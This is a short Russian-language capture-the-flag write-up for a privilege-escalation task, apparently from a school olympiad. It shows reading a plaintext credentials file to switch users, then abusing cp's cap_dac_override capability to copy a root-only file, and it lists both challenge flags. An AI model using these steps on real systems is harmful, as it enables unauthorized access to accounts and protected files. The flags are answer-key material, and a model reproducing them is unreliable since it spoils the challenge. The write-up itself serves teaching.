# Privesc 10 класс

## Описание

### Флаг 1

Для получения первого флага необходимо подключится по ssh к контейнеру за пользователя steve. И найти у него в файлах пароль от пользователя alex. Первый флаг будет лежать у пользователя alex в домашней директории.

```bash
ls -la /home/steve
cat /home/steve/docs/credentials.txt


ssh alex@<host>
cat /home/alex/notes/flag1.txt
```

![alt text](./images/image.png)

### Флаг 2

Далее от пользователя alex ищем файлы с выставленными capabilities, находим, что у /usr/bin/cp стоит cap_dac_override, значит мы с помощью cp можем перетирать и копировать любые файлы 

```bash
getcap -r / 2>/dev/null
getcap /bin/cp
```

![alt text](./images/image2.png)

Тогда можем просто скопировать флаг root.

```bash
cp /root/flag2.txt /tmp/flag.txt
cat /tmp/flag.txt
```

## Флаги

1. vsosh{c4p4b1l1t13s_f1rst_fl4g}
2. vsosh{cap_dac_override_pr1v3sc_r00t}
